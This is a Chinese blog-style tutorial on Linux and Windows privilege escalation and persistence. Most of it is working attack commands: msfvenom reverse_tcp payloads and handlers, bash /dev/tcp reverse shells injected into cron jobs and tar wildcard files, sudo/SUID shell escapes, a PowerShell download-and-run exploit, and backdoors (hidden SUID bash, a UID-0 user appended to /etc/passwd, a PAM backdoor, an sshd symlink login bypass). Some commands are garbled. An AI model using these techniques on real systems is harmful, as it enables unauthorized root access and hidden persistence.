操作系统权限提升(十八)之Linux提权-内核提权

Posted 私ははいしゃ敗者です

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了操作系统权限提升(十八)之Linux提权-内核提权相关的知识,希望对你有一定的参考价值。

Linux 内核提权

Linux 内核提权原理

内核提权是利用Linux内核的漏洞进行提权的,内核漏洞进行提权一般包括三个环节:

1、对目标系统进行信息收集,获取到系统内核信息及版本信息;

2、根据内核版本获取其对应的漏洞以及EXP

3、使用找到的EXP对目标系统发起攻击,完成提权操作

查看Linux操作系统的内核版本和相关信息

cat /etc/issue 查看ubuntu或者centos的版本
cat /etc/*-release 查看centos版本
uname -a 查看系统全部信息
uname -r 查看内核版本

EXP该怎么着呢,可以用Kali去寻找,kali中自带searchsploit命令可以查找EXP,输入对应的版本号就可以查找相应的漏洞

输入 searchsploit -m 9479.c 就会自动复制该文件到当前目录

提权环境

本次实验使用Ubuntu 20.04,内核版本是5.10版本的

如何替换Linux版本系统内核可以看这篇文章Linux Ubuntu 20.04 LTS 更新到最新长期支持内核 v5.10.9

提取复现

使用MSF机器上线

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.0.105 LPORT=3333 -f elf > mshell.elf

use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.0.105
set lport 3333
run


发现我们只有普通用户daoer的权限

查看对方操作系统

cat /etc/issue
cat /etc/*-release
uname -r

可以看到对方的操作系统的版本内核为5.10.10

接下来我们打开kali,去搜索一下对应的版本

发现有这么几个可以进行内核提权的CVE,我们去下载对应的代码

searchsploit -m 50808.c

发现他的CVE编号是CVE-2022-0847,我们通过百度去搜索相应的CVE编号,然后我们就可以根据网上的文章去复现使用相应的漏洞

在文章中直接找到如何使用EXP的内容,按照内容去复现就好了

由于我们下载好的文件是.c文件,需要将文件上传到目标机器上去编译,否者可能会出现一些运行环境方面的问题

upload 文件路径

编译文件

gcc -o test 50808.c

生成了一个test脚本

我们去使用这个脚本

./test /usr/bin/su

现在提升到root权限了,内核提权成功的

权限提升和维持

HVV笔记——权限提升和维持

权限提升Privilege Escalation:普通用户→root(管理员)用户

权限维持:开个后门

1 Linux权限提升

1.1 内核提权

内核提权是利用Linux内核的漏洞进行提权的。一般包括三个环节:

  1. 对目标系统进行信息收集,获取到系统内核信息以及版本信息;
  2. 根据内核版本获取其对应的漏洞以及EXP;
  3. 使用找到的EXP对目标系统发起攻击,完成提权操作。

1.1.1 内核与发行版

Linux内核版本:

https://www.kernel.org

查看Linux操作系统的内核版本和相关信息:

cat /etc/issue 查看ubuntu的版本
cat /etc/*-release 查看centos的版本
uname -a 查看系统全部信息
uname -r 查看内核版本

1.1.2 内核漏洞

  • Dirty COW(Copy On Write) CVE-2016-5195

  • Dirty Pipe CVE-2022-0847

  • Dirty Cred CVE-2022-2588

  • Linux Polkit CVE-2021-4034

  • CVE内核漏洞查询

    https://www.cvedetails.com/product/47/Linux-Linux-Kernel.html?vendor_id=33

1.1.3 漏洞利用

根据前面查询到的内核版本号在Kali中查找

msfconsole
searchsploit linux 3.10

然后根据显示出来的Path,复制该文件到当前目录,比如

searhsploit -m 1024.c

至于漏洞利用就搜寻互联网吧。

1.2 SUDO提权

SUDO=Super User Do(以root身份运行程序)

1.2.1 提权原理

sudo是linux系统管理指令,是允许系统管理员让普通用户执行一些或者全部的root命令的一个工具,如reboot,su等等。这样不仅减少了root用户的登录 和管理时间,同样也提高了安全性。sudo不是对shell的一个代替,它是面向每个命令的。在一些应用场景里面,为了方便运维人员以低权限帐号进行运维,往往会开启帐号的一些SUDO权限给运维帐号,而SUDO权限的授予在/etc/sudoers中进行操作,编辑方法(root权限):visudo

具体的格式如下:

1.2.2 命令的权限

有些命令设置了可以无密码sudo,可以执行以下命令查看(需要一定的权限或者知道当前用户的密码):

cat /etc/sudoers
sudo -l

1.2.3 权限提升

如果给sudo配置文件配置了ALL 或者以下的命令就可以进行提权

wget、find、cat、apt、zip、xxd、time、taskset、git、sed、pip、ed、tmux、scp、perl、
bash、less、awk、man、vi、env、ftp、ed、screen

比如sudoers文件中添加了以下内容:

hacker ALL=(root) NOPASSWD:/usr/bin/awk
hacker ALL=(root) NOPASSWD:/usr/bin/vim
hacker ALL=(root) NOPASSWD:/usr/bin/man
hacker ALL=(root) NOPASSWD:/usr/bin/less
hacker ALL=(root) NOPASSWD:/usr/bin/find
hacker ALL=(root) NOPASSWD:/usr/bin/zip
hacker ALL=(root) NOPASSWD:/usr/bin/git

提权的命令:

#################################
#**********一条命令提权的**********#
#################################
sudo vim -c '!sh'
sudo awk 'BEGIN system("/bin/sh")'
sudo xxd "/etc/shadow" | xxd -r
sudo env /bin/sh
sudo perl -e 'exec "/bin/sh";'
sudo zip 2.zip 1.txt -T --unzip-command="sh -c /bin/sh"
sudo sed -n '1e exec sh 1>&0' /etc/passwd
sudo find /etc/passwd -exec /bin/sh \\;
#################################
#**********两条命令提权的**********#
#################################
sudo git help config
!/bin/sh
sudo ftp
!/bin/sh
sudo less /etc/hosts
!sh
sudo ed
!/bin/sh
sudo man man
!/bin/sh

1.2.4 提升复现

sudoers文件中添加如下命令,使得当前普通用户具有find命令的sudo权限:

xuni ALL=(root) NOPASSWD:/usr/bin/find

切换到当前普通用户,执行如下命令:

sudo find /etc/passwd -exec /bin/sh \\;

即可获得root权限

1.2.5 堆缓冲区溢出漏洞

该漏洞是sudo工具基于堆缓冲区溢出漏洞,漏洞编号为CVE-2021-3156。

漏洞概述

当sudo通过-s或-i命令行选项在shell模式下运行命令时,它将在命令参数中使用反斜杠转义特殊字符。但使用-s或-i标志运行sudoedit时,实际上并未进行转义,从而可能导致缓冲区溢出。因此只要存在sudoers文件(通常是/etc/sudoers),攻击者就可以使用本地普通用户利用sudo获得系统root权限。研究人员利用该漏洞在多个Linux发行版上成功获得了完整的root权限,包括Ubuntu 20.04(sudo 1.8.31)、Debian 10(sudo 1.8.27)和Fedora 33(sudo 1.9.2),并且sudo支持的其他操作系统和Linux发行版也很容易受到攻击。

影响范围

  • sudo 1.8.2-1.8.31p2
  • sudo 1.9.0-1.9.5p1

漏洞复现

查看sudo版本

sudo -V

简单测试漏洞是否存在:

  • 如果返回sudoedit: /: not a regular file,则当前系统可能存在安全风险;
  • 若显示以usage:开头的错误,则为不受影响的系统。
sudoedit -s /

比如此次测试的sudo版本虽然是1.8.23,但是不存在类似漏洞

如果存在漏洞,可以执行以下命令测试:

git clone https://github.com/blasty/CVE-2021-3156.git
cd CVE-2021-3156
make
###### list targets
./sudo-hax-me-a-sandwich
./sudo-hax-me-a-sandwich <target_number>

有篇文章提供了另一个思路,但是本人没有复现成功。实战中的sudo提权漏洞的使用姿势(CVE-2021-3156)

1.3 SUID提权

SUID=Set UID(以程序所有者身份运行程序)

1.3.1 SUID权限

SUID是一种特殊权限,设置了suid的程序文件,在用户执行该程序时,用户的权限是该程序文件属主的权限,例如程序文件的属主是root,那么执行该程序的用户就将暂时获得root账户的权限。sgid与suid类似,只是执行程序时获得的是文件属组的权限。passwd这个命令程序的权限设置,它就是设置了suid权限的:

注意

  1. 只有可以执行的二进制程序文件才能设定SUID权限,非二进制文件设置SUID权限没任何意义
  2. 命令执行者要对该程序文件拥有执行(x)权限
  3. 命令执行者在执行该程序时获得该程序文件属主的身份
  4. SUID权限只在该程序执行过程中有效,也就是说身份改变只在程序执行过程中有效

设置SUID

chmod u+s filename  设置SUID
chmod 4755 filename  设置SUID
chmod u-s filename  去掉SUID设置

1.3.2 SUID提权原理

利用某些二进制文件设置了SUID权限,从而用root权限执行系统命令。
常见的可以用来提权的命令如下:

nmap
vim
find
bash
more
less
nano
cp
awk
mv

1.3.3 查找SUID文件

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls  \\; 2>/dev/null

find / -user root -perm -4000 -print 2>/dev/null

  1. find 是查找文件的命令

  2. / 是从根目录开始查找

  3. -user root 是文件的所属者是root

  4. -perm -4000

    -perm匹配权限
    4000 2000 1000分别表示SUID SGID SBIT
    1.普通文件,文件的权限一般三位,777最高文件权限
    -perm -0777搜索的就是最高权限的文件rwxrwxrwx
    -perm +0777搜索的只要包含rwxrwxrwx任意一个的文件
    2.特殊文件,包含权限位置四位,7000为最高,即–s–s–t,同样的方法
    -perm -7000搜索的就是最高权限的文件–s–s–t
    -perm +7000搜索的只要包含–s–s–t任意一个的文件,–s — —(4000)、— –s —(2000)、— — –
    t(1000)等
    
  5. -print 2>/dev/null 将标准错误输入到/dev/null文件

find / -perm -u=s -type f 2>/dev/null

  1. -perm -u=s 查找有s权限
  2. -type f -type b/d/c/p/l/f 查是块设备、目录、字符设备、管道、符号链接、普通文件

find / -user root -perm -4000 -exec ls \\;

  1. -user root 是文件的所属者是root
  2. -exec ls -ldb ; 执行 ls -ddb命令

1.3.4 提升复现

以下命令都是默认没有开启suid权限的,需要用户开启。

find

touch anyfile #必须要有这个文件
find anyfile -exec whoami \\;      #普通用户
find . -exec /bin/sh -p \\; -quit  #root用户

bash

bash命令是用来打开一个shell。同时它也有执行命令的能力。

vim

利用vim提权的思路是修改/etc/passwd文件和/etc/shadow,为自己添加一个有root权限的用户

方式一,利用vim添加账号:

vim /etc/passwd     #添加特权用户
添加:bob:x:0:0::/home/bob:/bin/bash
vim /etc/shadow     #添加特权用户
bob:$1$salt$638tR8bROOvPnPklDQ9Vf/:19103:0:99999:7:::     #密码是123456

方式二,利用vim打开交互shell:

vim -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'

python

python -c 'import os; os.execl("/bin/sh", "sh", "-p")'

perl

echo 'exec("/bin/sh")' > a.pl
perl a.pl

wget curl

sudo wget http://192.168.56.1:8080/passwd -O /etc/passwd
sudo curl http://192.168.56.1:8080/passwd -o /etc/passwd

awk

awk 'BEGINsystem("/bin/bash")'

nmap

nmap的2.02-5.21版本具有--interactive选项,可以进入交互模式执行系统命令

nmap --interactive

!sh 

echo 'os.execute("/bin/sh")' > fuck_root.nse
nmap --script=fuck_root.nse

1.3.5 反弹 shell

前提:目标机的bash命令具有suid权限。

攻击机:kali2022 192.168.101.131

目标机:centos7.9 192.168.101.130

攻击机开启端口监听:

nc -lvp 8888

目标机反弹shell:

bash -i >&/dev/tcp/192.168.101.131/8888 0>&1

攻击机获取shell后提权:

bash -p

1.4 第三方服务提权

Redis、NFS、MySql、Docker、Git……

提权辅助器

1.4.1 linux-exploit-suggester

下载

git clone https://github.com/The-Z-Labs/linux-exploit-suggester.git
#或者
wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O les.sh

使用

#1.评估当前Linux在公开的已知漏洞上的曝光情况:
$ ./linux-exploit-suggester.sh
#2.显示当前Linux机器上安全功能的状态
$ ./linux-exploit-suggester.sh --checksec
#3.根据提供的'uname'字符串(即uname -a命令的输出)评估Linux内核在公开已知漏洞中的暴露情况
$ ./linux-exploit-suggester.sh --uname <uname-string>

另一个版本

git clone https://github.com/jondonas/linux-exploit-suggester-2.git
chmod +x linux-exploit-suggester-2.pl
perl linux-exploit-suggester-2.pl

1.4.2 LinEnum

git clone https://github.com/rebootuser/LinEnum.git
chmod +x /tmp/linEnum.sh
sh /tmp/LinEnum.sh > /tmp/getinfo.txt

1.5 计划任务提权

1.5.1 计划任务

Linux计划任务命令如下:

crontab -e 编辑计划任务
crontab -l 查看计划任务
crontab -r 删除目前的crontab

计划任务的文件夹在/etc/cron*下:

计划任务的格式

分 时 日 月 周 用户 命令

1.5.1 提权原理

linux计划任务提权是因为权限配置不当,计划任务以root权限运行,低权限的用户可以修改计划任务的文件,从而被攻击者利用,导致提权。

假如root用户设置了一个计划任务,但是权限没有设置好,比如777权限或者SUID权限之类的,查找命令如下:

find / -user root -perm -4000 -print 2>/dev/null #查找SUID文件
find / -perm 777 -print 2>/dev/null #查找777文件

1.5.2 提权准备

  1. 先准备一个SUID文件或者权限为xx7的文件,让低权限的用户可以执行文件的修改,在这里我们我们准
    备一个sh文件或者python文件都可以,我们写一个linux运维脚本bash_os.sh,来监控当前电脑的运行参数:

    function bash_os() 
        # "系统基础信息"
        #内核信息
        kernel=$(uname -r)
        #操作系统版本
        release=$(cat /etc/redhat-release)
        #主机名称
        hostname=$HOSTNAME
        #当前时间及运行时间
        dateload=$(uptime | awk -F "," 'print $1')
        # 当前登录用户数
        users=$(uptime | awk -F "," 'print $2')
        echo -e "\\n\\033[32m############## 系统基础信息 #######\\033[0m\\n" >> /tmp/bash_os.txt
        echo -e "\\033[32m------------------------------------\\033[0m" >> /tmp/bash_os.txt
        echo -e "|内核信息:\\033[31m $kernel \\033[0m" >> /tmp/bash_os.txt
        echo -e "\\033[32m------------------------------------\\033[0m" >> /tmp/bash_os.txt
        echo -e "|操作系统版本:\\033[31m $release \\033[0m" >> /tmp/bash_os.txt
        echo -e "\\033[32m------------------------------------\\033[0m" >> /tmp/bash_os.txt
        echo -e "|当前时间及运行时间:\\033[31m $dateload \\033[0m" >> /tmp/bash_os.txt
        echo -e "\\033[32m------------------------------------\\033[0m" >> /tmp/bash_os.txt
        echo -e "|当前登录用户数:\\033[31m $users \\033[0m" >> /tmp/bash_os.txt
        echo -e "\\033[32m------------------------------------\\033[0m" >> /tmp/bash_os.txt
    
    bash_os
    
  2. 将文件的权限设置成777

    chmod 777 bash_os.sh
    
  3. 该脚本运行后的内容写到 /tmp/bash_os.txt文件中

  4. 将文件设置成计划任务,编辑内容如下,一定是普通用户:

    vim /cat/crontab 
    #分 时 日 月 周 用户 命令
    */1 * * * * root /bash_os.sh
    
    service crond status 查看计划任务启动
    service crond restart 重启计划任务
    

1.5.3 提权复现

  1. 需要先拿到一个webshell,或者MSF的shell,或者CS的shell。这里使用MSF的shell:

    msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.101.130 LPORT=8888 -f elf > mshell.elf
    
  2. 将生成的mshell.elf上传到靶机里

  3. 攻击机打开msfconsole,执行如下命令

    use exploit/multi/handler
    set payload linux/x64/meterpreter/reverse_tcp
    set lhost 192.168.101.130
    set lport 8888
    run
    
  4. 查询计划任务,发现存在一个sh文件并且是root运行的

    vim /cat/crontab
    
  5. 接下来查看该文件的属性看看能不能更改,发现是777满权限,更改文件内容,进行提权

    ls -al /bash_os.sh
    #输入反弹shell的命令在sh文件中进行追加
    echo "bash -i >& /dev/tcp/192.168.101.131/9876 0>&1" >> /bash_os.sh
    
  6. 使用NC接收等待反弹shell的连接,得到root权限

1.6 环境变量劫持提权

1.6.1 提权原理

PATH是Linux和类Unix操作系统中的环境变量,类似windows中的path环境变量,当我们执行一个命令的时候shell会先检查命令是否是系统内部命令,如果不是则会再去检查此命令是否是一个应用程序,shell会试着从PATH中逐步查找命令,查看环境变量命令如下:

echo $PATH

攻击者可以在环境变量中写入自己的环境变量,然后写一个自己的恶意命令,从而达到提权的目的。

1.6.2 提权准备

假设管理员用户在/home目录下创建了一个demo.c文件,内容如下(执行查看shadow文件命令,setuid规定了其运行用户,以root权限进行编译和权限设置)

#include<unistd.h>
void main() 
	setuid(0);
	setgid(0);
	system("cat /etc/shadow");

然后使用gcc编译

gcc demo.c -o shell

运行./shell就是打开shadow文件

赋予shell文件SUID权限

1.6.3 提权复现

同1.5一样,先上线靶机,用命令查找SUID文件

find / -user root -perm -4000 -print 2>/dev/null
echo "/

发现一个shell文件(位置为/home/shell),运行发现是查看/etc/shadow的命令。

那么我们劫持cat命令,达到提权的目的

echo "/bin/bash" > /tmp/cat
chmod 777 cat
ls -al cat
echo $PATH
export PATH=/tmp:$PATH
cd /home/shell
whoami

1.7 利用通配符(WS)进行提权

1.7.1 提权原理

在LINUX中通配符可以被用来模糊匹配,而且通配符的输入是由当前用户的shell去进行解析

*    代表任意数量的字符
?    字符代表单个字符
[]    匹配中括号中的任意单一字符 可以使用连字符-表示范围,比如[0-9]

如果创建三个文件:

echo "1" > file1
echo "2" > file2
echo "3" > --help

接下来查看文件里面的内容,发现文件1和文件2都可以查看,但是–help查看不了,直接调出了–help
的命令,这种类型的技巧称为Wildcard wildness。

如果执行ls *就会执行ls --help

为利用这个漏洞,需要用到tar这个命令。首先,tar命令可以使用通配符进行压缩

tar -czf html.tgz *.html 将文件所有html文件压缩成html.tgz

在tar中有执行linux命令的参数如下

tar -czf 1.tgz 1.html --checkpoint=1 --checkpoint-action=exec=whoami

1.7.2 提权准备

一般都有备份网站的习惯,那么运维人员或管理员填写了备份文件的计划任务任务,如果滥用了通配符,就可能导致提权

*/1 * * * * root tar -zcf /var/html.tgz /var/www/html/*

首先上线靶机,并且发现靶机中有计划任务,是滥用通配符的,而且是root权限才可以。

1.7.3 提权复现

在/var/www/html下创建两个文件如下

echo " " > /var/www/html/--checkpoint=1
echo " " > /var/www/html/--checkpoint-action=exec='bash shell.sh'
echo "bash -i >&/dev/tcp/192.168.41.211/8888 0>&1" > /var/www/html/shell.sh

攻击机使用NC进行监听即可。

1.8 破解明文密码提权

1.8.1 提权原理

/etc/passwd是全用户可读,root可写的。/etc/shadow是仅root可读写的。如果管理员的passwd和shadow一些权限配置不当,就可能被破解密码。

1.8.2 提权准备

目标机的shadow文件需要:

1、赋予了文件777权限
2、可以使用sudo查看
3、cat等命令赋予了SUID权限

1.8.3 提权复现

直接破解就行了。

比如使用john

john -wordlist=2.txt + shadow.txt

1.9 MySQL提权

这里借记下大佬的文章:MySQL提权

2 Linux权限维持

防止杀毒、杀进程、关端口、打补丁等操作

前提条件:假设在攻击的过程中通过利用各种getshell,已经拿到目标服务器root权限

2.1 webshell

各种编程语言的木马。

2.2 定时任务(计划任务)

crontab -u root -l   #查看
crontab -u root -r   #删除
crontab -u root -e   #添加

比如添加如下定时任务

* * * * * bash -i >& /dev/tcp/攻击机的IP/端口号 0>&1

Kali中开启监听即可

nc -lvvp 端口号

2.3 SUID后门

使用root用户执行如下命令,将bash复制为一个隐藏文件并赋予相应权限

cp /bin/bash /var/.hack
chmod 4775 /var/.hack
ls -al /var/.hack

这时使用普通用户执行如下命令即可得到root身份

/var/.hack -p

2.4 SSH Key免密登录

攻击机生成一对密钥,此处用Kali

ssh-keygen -t rsa
cd /root/.ssh
cat id_rsa.pub

将Kali生成的公钥写入到目标机

cd /root/.ssh
vim authorized_keys

当然,正常情况下是利用漏洞写入。

然后连接即可

#Kali机器
ssh root@目标机IP

2.5 添加用户

往shadow文件里添加。

首先生成密码

openssl passwd -1 -salt admin 123456

##    -1 的意思是使用md5crypt加密算法
##    -salt 指定盐为admin
##    123456 明文密码

追加的方式添加用户(UID=0

echo 'admin:$1$admin$LClYcRe.ee8dQwgrFc5nz.:0:0::/root:/bin/bash' >> /etc/passwd

这时攻击机即可连接

ssh root@目标机IP

2.6 PAM后门

登录系统的时候,是pam的模块来验证我们的密码是否正确的。所以就存在这样一种可能,修改pam的验证逻辑,来达到一定条件下不去跟shadow里的密码校验,而是直接返回验证正确,从而达到作为后门的目的。

  1. 在 centos7 环境下,首先需要关闭 selinux 和临时关闭 setenforce 0。

    setenforce 0
    
  2. 查看pam版本号

    rpm -qa|grep pam
    
  3. 下载并解压对应版本的pam源码包

    wget http://www.linux-pam.org/library/Linux-PAM-1.1.8.tar.gz
    tar -zxvf Linux-PAM-1.1.8.tar.gz
    
  4. 安装gcc编译器和flex库

    yum install gcc flex flex-devel -y
    
  5. 留 PAM 后门和保存 ssh登录的账户密码

    修改 Linux-PAM-1.1.8/modules/pam_unix/pam_unix_auth.c 源码实现自定义密码认证和保存登录密码:

    cd Linux-PAM-1.1.8
    vim modules/pam_unix/pam_unix_auth.c
    
  6. 编译

    cd ../../
    ./configure
    make
    
  7. 备份和替换原有的 pam_unix.so

    cp /usr/lib64/security/pam_unix.so /usr/lib64/security/pam_unix.so.bakcp
    cp modules/pam_unix/.libs/pam_unix.so /usr/lib64/security/pam_unix.so
    
  8. 登录测试

    ssh root@目标机IP
    

2.7 PAM软链接

2.7.1 PAM介绍

PAM认证一般遵循这样的顺序:Service(服务)→PAM(配置文件)→pam_*.so。PAM认证首先要确定那一项服务,然后加载相应的PAM的配置文件(位于/etc/pam.d下),最后调用认证文件(位于/lib/security下)进行安全认证,用户访问服务器的时候,服务器的某一个服务程序把用户的谁请求发送到PAM模块进行认证。对于不同的服务器应用程序所对应的PAM模块也是不同的。

查看支持PAM的程序

ls /etc/pam.d

2.7.2 软链接介绍

软连接称之为符号连接(Symbolic Link),也叫软连接。软链接文件有类似于Windows的快捷方式。它实际上是一个特殊的文件。在符号连接中,文件实际上是一个文本文件,其中包含的有另一文件的位置信息。

ln -fs 原文件 目标文件
ln -fs /var/www/1.txt test.txt
########
-f, --force     #强行删除任何已存在的目标文件
-s, --symbolic  #制作符号链接而不是硬链接

2.7.3 后门原理

ssd软连接是 Linux下很经典的一种权限维持方法,其中涉及的一个比较重要的模块是pam_rootok.so模块,
pam_rootok.so模块的功能是若用户UID是0,返回成功,当 /etc/pam. d/ssh文件配置了auth sufficient pam_rootok.so时可以不需要密码登录。当在被控制端执行命令

ln -sf /usr/sbin/shd /tmp/su;/tmp/suoPort=
1234

建立shd的软连接后门,PAM认证时会根据软连接的名字到/etc/pam. d目录寻找对应到PAM认证文件,由于软连接的文件名为“su”,所以SSH的认证文件就被替换成了/ 'etc/pam. d/su,而“su”中默认配置了auth sufficient pam_rootok.so,从而导致SSH可以不需要密码登录。

2.7.4 软连接维持

首先判断目标机SSH是否开启了PAM认证

cat /etc/ssh/sshd_config|grep UsePAM

查看pmd.m文件下哪些文件配置了pam_rootok

find /etc/pam.d |xargs grep "pam_rootok"

以root权限建立软连接

ln sf
/usr/sbin/sshd /tmp/chsh;/tmp/chsh oPort=
23333
#建立sshd的软链接,并更改端口为23333

进行登录

ssh root@[IP地址] -p [后门端口] 不需要密码

3 Windows权限提升

windows提权一般是提权到administrator或者system权限,在Windows中的用户账号一般分为以下几个:

1、本地普通用户
2、本地一般管理员
3、本地最高管理员
4、域内普通用户
5、域内管理员

新建的用户一般默认是user组。

比如使用如下命令创建一个用户(必须是管理员打开的cmd)

net user hack admin@123 /add

3.1 系统内核溢出漏洞提权

溢出提权是指攻击者利用系统本身或系统中软件的漏洞来获取 Windows操作系统System权限,其中溢出提权又分为远程溢出和本地溢出。远程溢出需要与远程服务器建立连接,然后根据系统漏洞使用相应的溢出程序获取远程服务器的 Windows操作系统Systen权限。本地溢出是主流的提权方式,通常需要向服务器上传本地溢出程序,然后在服务器执行,如果系统存在漏洞,那么将会溢出获得 Windows操作系统System权限。

3.1.1 缓冲区提权的步骤

  1. 信息收集,例如查看当前权限,查看版本、补丁等
  2. 根据收集到的信息确定可利用漏洞
  3. 根据漏洞查找EXP
  4. 使用EXP提权。

获取目标主机的一个普通用户的shell后,执行如下命令,查看目标系统上安装了那些补丁

#查看系统信息
systeminfo
#查看所安装的补丁的详细信息
wmic qfe get caption,description,hotfixid,installedon
#查看当前用户的权限
whoami /groups

3.1.2 常见补丁对应漏洞

https://github.com/SecWiki/windows-kernel-exploits

使用方法:

https://github.com/SecWiki/windows-kernel-exploits/tree/master/win-exp-suggester

#更新数据库
./windows-exploit-suggester.py --update
#安装依赖
pip install xlrd --upgrade
#将systeminfo信息与数据库对比
./windows-exploit-suggester.py --database 2014-06-06-mssb.xlsx --systeminfo win7sp1-systeminfo.txt
#查询指定系统可能有的漏洞
./windows-exploit-suggester.py --database 2014-06-06-mssb.xlsx --ostext 'windows server 2008 r2' 

3.1.3 使用msf提权

使用MSF提权必选先上线到MSF然后使用如下的插件进项提权扫描

getsystem 提权 一般是将管理员提升到system
use post/windows/gather/enum_patches
use post/multi/recon/local_exploit_suggester

首先利用msf生成的shell上线靶机

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp
LHOST=192.168.41.134 LPORT=3333 -f exe -o test.exe #(32位)
msfvenom -a x64 --platform windows -p windows/x64/meterpreter/reverse_tcp
LHOST=192.168.41.134 LPORT=3333 -f exe -o test.exe #(64位)

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.41.134
set lport 3333
exploit

使用getsystem命令自动提权

meterpreter > getsystem

使用脚本检测可以利用的提权模块

use post/multi/recon/local_exploit_suggester
set session ID
run

3.1.4 在线辅助提权

https://i.hacking8.com/tiquan
http://bugs.hacking8.com/tiquan/

3.1.5 wesng提权

这里借MS16-032来演示

wesng是帮助检测Windows安全缺陷的辅助攻击,是Windows Exploit Suggesters的升级版,通过读取加载systeminfo命令的结果来输出漏洞利用建议。

将wesng下载到本地主机上,先升级最新的漏洞数据库。

python wes.py --update

将目标机器的systeminfo命令的结果输出并保存,使用wesng进行检查。

python wes.py systeminfo.txt

下载https://www.exploit-db.com/exploits/39719里面的漏洞利用

Powershell IEX (New-Object Net.WebClient).DownloadString('http://X.X.X.X:8000/ms16-032.ps1');Invoke-MS16-032
python wes.py systeminfo.txt --impact "Remote Code Execution"
python wes.py systeminfo.txt --impact "Remote Code Execution" -e

3.1.6 EXP如何搜索

https://github.com/offensive-security/exploitdb
https://www.exploit-db.com
https://github.com/SecWiki/windows-kernel-exploits
以上是关于操作系统权限提升(十八)之Linux提权-内核提权的主要内容,如果未能解决你的问题,请参考以下文章

权限提升和维持

Linux内核提权漏洞(CVE-2016-8655)

linux用户提权方法

内网渗透系列:权限提升方法小结

内网渗透系列:权限提升方法小结

17_服务器提权